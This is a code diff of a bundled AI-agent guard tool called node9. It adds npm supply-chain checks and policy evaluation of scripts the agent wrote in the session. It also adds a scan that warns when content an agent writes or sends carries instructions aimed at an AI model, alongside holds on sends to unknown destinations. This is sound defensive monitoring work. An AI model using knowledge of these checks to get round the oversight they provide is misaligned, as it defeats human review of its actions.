- var import_fs23 = __toESM(require("fs"));
16944
- var import_os17 = __toESM(require("os"));
16945
- var import_path23 = __toESM(require("path"));
17968
+ var import_fs24 = __toESM(require("fs"));
17969
+ var import_os18 = __toESM(require("os"));
17970
+ var import_path24 = __toESM(require("path"));
16946
17971
  var import_crypto9 = require("crypto");
16947
17972
  init_dist();
16948
17973
  var INDEX_FRESH_MS = 72 * 60 * 60 * 1e3;
16949
17974
  function osvRoot() {
16950
- return import_path23.default.join(import_os17.default.homedir(), ".node9", "osv");
17975
+ return import_path24.default.join(import_os18.default.homedir(), ".node9", "osv");
16951
17976
  }
16952
17977
  function ecoDir(eco) {
16953
- return import_path23.default.join(osvRoot(), eco);
17978
+ return import_path24.default.join(osvRoot(), eco);
16954
17979
  }
16955
17980
  function indexKey(eco, name) {
16956
17981
  switch (eco) {
@@ -16969,11 +17994,11 @@ function shardOf(key) {
16969
17994
  return (0, import_crypto9.createHash)("sha1").update(key).digest("hex").slice(0, 2);
16970
17995
  }
16971
17996
  function shardPath(eco, shard) {
16972
- return import_path23.default.join(ecoDir(eco), "shards", `${shard}.json`);
17997
+ return import_path24.default.join(ecoDir(eco), "shards", `${shard}.json`);
16973
17998
  }
16974
17999
  function readMeta(eco) {
16975
18000
  try {
16976
- const m = JSON.parse(import_fs23.default.readFileSync(import_path23.default.join(ecoDir(eco), "meta.json"), "utf8"));
18001
+ const m = JSON.parse(import_fs24.default.readFileSync(import_path24.default.join(ecoDir(eco), "meta.json"), "utf8"));
16977
18002
  if (typeof m?.syncedAt !== "string" || typeof m?.lastModifiedMs !== "number") return null;
16978
18003
  return m;
16979
18004
  } catch {
@@ -16982,7 +18007,7 @@ function readMeta(eco) {
16982
18007
  }
16983
18008
  function readShard(eco, shard) {
16984
18009
  try {
16985
- const s = JSON.parse(import_fs23.default.readFileSync(shardPath(eco, shard), "utf8"));
18010
+ const s = JSON.parse(import_fs24.default.readFileSync(shardPath(eco, shard), "utf8"));
16986
18011
  return s && typeof s === "object" && !Array.isArray(s) ? s : {};
16987
18012
  } catch {
16988
18013
  return {};
@@ -17111,21 +18136,48 @@ async function queryOsvMalicious(queries) {
17111
18136
  var import_semver = require("semver");
17112
18137
  var TIMEOUT_MS2 = 1500;
17113
18138
  var MAX_BYTES = 2 * 1024 * 1024;
18139
+ var VERSION_DOC_MAX_BYTES = 256 * 1024;
18140
+ var INSTALL_SCRIPTS = ["preinstall", "install", "postinstall"];
18141
+ async function npmVersionDocument(url, selector) {
18142
+ const doc = await fetchJson(`${url}/${encodeURIComponent(selector)}`, {
18143
+ timeoutMs: TIMEOUT_MS2,
18144
+ maxBytes: VERSION_DOC_MAX_BYTES
18145
+ });
18146
+ if (!doc?.version) return null;
18147
+ const scripts = doc.scripts ?? {};
18148
+ return {
18149
+ version: doc.version,
18150
+ hasInstallScript: INSTALL_SCRIPTS.some(
18151
+ (k) => typeof scripts[k] === "string" && scripts[k].length > 0
18152
+ ),
18153
+ ageFallback: `abbreviated document over the size cap; version read from /${selector}, which has no publish time`
18154
+ };
18155
+ }
17114
18156
  async function npmInfo(name, version, freshWindowMs, raw) {
17115
18157
  const base2 = endpoints().npmRegistry;
17116
18158
  if (!base2) return null;
17117
18159
  const url = `${base2}/${name.replaceAll("/", "%2F")}`;
17118
- const doc = await fetchJson(url, {
17119
- timeoutMs: TIMEOUT_MS2,
17120
- maxBytes: MAX_BYTES,
17121
- headers: { Accept: "application/vnd.npm.install-v1+json" }
17122
- });
17123
- if (!doc) return null;
17124
- const latest = doc["dist-tags"]?.latest;
17125
18160
  const aliasStart = raw?.indexOf("@npm:") ?? -1;
17126
18161
  const target = aliasStart > 0 ? raw.slice(aliasStart + 5) : raw?.replace(/^npm:/, "");
17127
18162
  const specStart = target?.indexOf("@", 1) ?? -1;
17128
18163
  const spec = specStart > 0 ? target.slice(specStart + 1) : "";
18164
+ let doc;
18165
+ try {
18166
+ doc = await fetchJson(url, {
18167
+ timeoutMs: TIMEOUT_MS2,
18168
+ maxBytes: MAX_BYTES,
18169
+ headers: { Accept: "application/vnd.npm.install-v1+json" }
18170
+ });
18171
+ } catch (err) {
18172
+ if (!/too large/.test(err.message)) throw err;
18173
+ const range = !version && spec && (0, import_semver.validRange)(spec) ? spec : null;
18174
+ const selector = version ?? (spec && !range ? spec : "latest");
18175
+ const info2 = await npmVersionDocument(url, selector);
18176
+ if (info2 && range && !(0, import_semver.satisfies)(info2.version, range)) return null;
18177
+ return info2;
18178
+ }
18179
+ if (!doc) return null;
18180
+ const latest = doc["dist-tags"]?.latest;
17129
18181
  let resolved = version;
17130
18182
  if (!resolved) {
17131
18183
  if (!spec) resolved = latest;
@@ -17182,19 +18234,19 @@ async function registryInfo(eco, name, version, freshWindowMs, raw) {
17182
18234
  }
17183
18235
 
17184
18236
  // src/supply-chain/local-resolve.ts
17185
- var import_fs24 = __toESM(require("fs"));
17186
- var import_path24 = __toESM(require("path"));
18237
+ var import_fs25 = __toESM(require("fs"));
18238
+ var import_path25 = __toESM(require("path"));
17187
18239
  var MAX_LEVELS = 32;
17188
18240
  var LOCAL_FIRST_MANAGERS = /* @__PURE__ */ new Set(["npx", "bunx", "npm exec"]);
17189
18241
  function resolveInstalled(name, cwd) {
17190
- if (!cwd || !import_path24.default.isAbsolute(cwd)) return null;
18242
+ if (!cwd || !import_path25.default.isAbsolute(cwd)) return null;
17191
18243
  if (!/^(?:@[^/\\]+\/)?[^/\\]+$/.test(name)) return null;
17192
- let dir2 = import_path24.default.resolve(cwd);
18244
+ let dir2 = import_path25.default.resolve(cwd);
17193
18245
  for (let i = 0; i < MAX_LEVELS; i++) {
17194
- const pkgDir = import_path24.default.join(dir2, "node_modules", ...name.split("/"));
17195
- const manifest = import_path24.default.join(pkgDir, "package.json");
18246
+ const pkgDir = import_path25.default.join(dir2, "node_modules", ...name.split("/"));
18247
+ const manifest = import_path25.default.join(pkgDir, "package.json");
17196
18248
  try {
17197
- const raw = import_fs24.default.readFileSync(manifest, "utf8");
18249
+ const raw = import_fs25.default.readFileSync(manifest, "utf8");
17198
18250
  const parsed = JSON.parse(raw);
17199
18251
  if (typeof parsed.version === "string" && parsed.version.length > 0) {
17200
18252
  return { version: parsed.version, dir: pkgDir };
@@ -17202,7 +18254,7 @@ function resolveInstalled(name, cwd) {
17202
18254
  return null;
17203
18255
  } catch {
17204
18256
  }
17205
- const parent = import_path24.default.dirname(dir2);
18257
+ const parent = import_path25.default.dirname(dir2);
17206
18258
  if (parent === dir2) break;
17207
18259
  dir2 = parent;
17208
18260
  }
@@ -17324,7 +18376,7 @@ function checkInstalled(p, version, misses) {
17324
18376
  }
17325
18377
  async function checkOne(p, cfg, misses, networkCapped, cwd) {
17326
18378
  if (p.ecosystem === "npm" && LOCAL_FIRST_MANAGERS.has(p.manager) && p.localCwd !== null && (p.raw === p.name || p.version)) {
17327
- const localCwd = cwd && import_path25.default.isAbsolute(cwd) ? (p.localCwd ?? []).reduce((dir2, step) => import_path25.default.resolve(dir2, step), cwd) : void 0;
18379
+ const localCwd = cwd && import_path26.default.isAbsolute(cwd) ? (p.localCwd ?? []).reduce((dir2, step) => import_path26.default.resolve(dir2, step), cwd) : void 0;
17328
18380
  const installed = resolveInstalled(p.name, localCwd);
17329
18381
  if (installed && (!p.version || p.version === installed.version))
17330
18382
  return checkInstalled(p, installed.version, misses);
@@ -17339,7 +18391,7 @@ async function checkOne(p, cfg, misses, networkCapped, cwd) {
17339
18391
  if (!info) misses.push(`${label(p, p.version)}: registry metadata unavailable`);
17340
18392
  else if (info.ageFallback)
17341
18393
  misses.push(
17342
- `${label(p, info.version)}: age from the package modified time (${info.ageFallback})`
18394
+ `${label(p, info.version)}: ${info.publishedAtMs === void 0 ? "publish time unavailable" : "age from the package modified time"} (${info.ageFallback})`
17343
18395
  );
17344
18396
  } catch (err) {
17345
18397
  misses.push(`${label(p, p.version)}: registry ${err.message}`);
@@ -17566,6 +18618,15 @@ var WRITE_TOOLS = /* @__PURE__ */ new Set([
17566
18618
  "notebook_edit",
17567
18619
  "notebookedit"
17568
18620
  ]);
18621
+ var VERDICT_RANK2 = { allow: 0, review: 1, block: 2 };
18622
+ function fromScript(v, script) {
18623
+ const inScript = (text) => `In ${script}, a script written this session: ${text ?? "the shell checks asked for a review"}`;
18624
+ return {
18625
+ ...v,
18626
+ reason: inScript(v.reason),
18627
+ ruleDescription: inScript(v.ruleDescription ?? v.reason)
18628
+ };
18629
+ }
17569
18630
  function isWriteTool(toolName) {
17570
18631
  const t = toolName.toLowerCase().replace(/[^a-z_]/g, "_");
17571
18632
  return WRITE_TOOLS.has(t);
@@ -17715,6 +18776,20 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17715
18776
  fileFinding = isManual ? null : incompleteFileVerdict();
17716
18777
  }
17717
18778
  const shellInput = resolveShellInput(toolName, args, inspectionLayers(config.policy));
18779
+ if (!isManual) await recordSessionWrites(toolName, args, fileAccess, options?.cwd);
18780
+ const sessionScript = isManual ? null : await resolveSessionScript(toolName, args, options?.cwd, inspectionLayers(config.policy));
18781
+ if (sessionScript) {
18782
+ try {
18783
+ const inner = evaluateProtectedFileAccess(
18784
+ sessionScript.fileAccess.accesses,
18785
+ sessionScript.fileAccess,
18786
+ catalogSettingsFromConfig(config.settings, config.policy)
18787
+ );
18788
+ if (inner && (!fileFinding || VERDICT_RANK2[inner.decision] > VERDICT_RANK2[fileFinding.decision]))
18789
+ fileFinding = fromScript(inner, sessionScript.path);
18790
+ } catch {
18791
+ }
18792
+ }
17718
18793
  const networkShell = shellInput.kind === "shell" && NETWORK_COMMAND_RE.test(shellInput.command);
17719
18794
  const shellReview = !isManual && shellInput.kind === "uninspectable";
17720
18795
  if (shellReview) {
@@ -17723,12 +18798,22 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17723
18798
  policyRuleDescription = "The executable command could not be inspected. Approve this call explicitly.";
17724
18799
  }
17725
18800
  const fileReview = !isObserveMode && config.settings.mode !== "audit" && fileFinding?.decision === "review";
17726
- const evaluateCurrentPolicy = (skipIgnoredFastPath = false) => evaluatePolicy2(toolName, args, meta?.agent, options?.cwd, {
17727
- fileAccess,
17728
- config,
17729
- skipIgnoredFastPath,
17730
- argumentScan: argScan
17731
- });
18801
+ const evaluateCurrentPolicy = async (skipIgnoredFastPath = false) => {
18802
+ const own = await evaluatePolicy2(toolName, args, meta?.agent, options?.cwd, {
18803
+ fileAccess,
18804
+ config,
18805
+ skipIgnoredFastPath,
18806
+ argumentScan: argScan
18807
+ });
18808
+ if (!sessionScript || own.decision === "block") return own;
18809
+ const inner = await evaluatePolicy2("Bash", sessionScript.args, meta?.agent, options?.cwd, {
18810
+ fileAccess: sessionScript.fileAccess,
18811
+ config,
18812
+ skipIgnoredFastPath
18813
+ });
18814
+ if (VERDICT_RANK2[inner.decision] <= VERDICT_RANK2[own.decision]) return own;
18815
+ return fromScript(inner, sessionScript.path);
18816
+ };
17732
18817
  if (fileFinding) {
17733
18818
  meta = { ...meta, ruleName: fileFinding.ruleName };
17734
18819
  hashAuditArgs = true;
@@ -17821,6 +18906,15 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17821
18906
  taintWarning = `\u26A0\uFE0F node9 flagged this session \u2014 earlier tool output contained ${sessionTaint.record.source}. Approve this ${kind} action before it proceeds.`;
17822
18907
  }
17823
18908
  }
18909
+ if (!taintWarning && config.policy.injectionScan?.enabled && !isManual) {
18910
+ const sends = isMcpToolName(toolName) && extractArgDestinations(args).length > 0;
18911
+ if (isWriteTool(toolName) || sends) {
18912
+ const m = scanInjection(argumentLeavesText(args), { untrusted: false });
18913
+ if (m && (m.confidence === "medium" || m.confidence === "high")) {
18914
+ taintWarning = `\u26A0\uFE0F node9: the content this call ${isWriteTool(toolName) ? "writes" : "sends"} carries instructions aimed at an AI model (${m.signals.join(", ")}). Approve only if that is what you meant.`;
18915
+ }
18916
+ }
18917
+ }
17824
18918
  let exposureReview = null;
17825
18919
  let exposureKeys = [];
17826
18920
  let exposureDestinations = [];
@@ -17934,7 +19028,7 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17934
19028
  const parts = held.map(
17935
19029
  (h) => h.dest ? `sends to ${destinationValue(h.dest)}, ${h.why === "appeared in what was read" ? `${noun(h.dest)} that appeared in that ${last ? readWord : "content"}` : `${noun(h.dest)} this session did not know`}` : h.why === "repository" ? h.repo.endsWith("/*") ? `sends to a repository on ${h.repo.slice(0, -2)} it does not name (a gist, a new repository or an API call)` : `sends to ${h.repo}, a repository that is not one of this project's remotes` : h.why === "unresolved" ? "sends to a destination this session cannot see (built at run time, or a remote of another repository)" : `is ${bare}, a destructive call, with no known destination`
17936
19030
  );
17937
- const home = import_os18.default.homedir();
19031
+ const home = import_os19.default.homedir();
17938
19032
  const short = (p) => p.startsWith(home + "/") ? "~" + p.slice(home.length) : p;
17939
19033
  for (const w of writeHolds) {
17940
19034
  parts.push(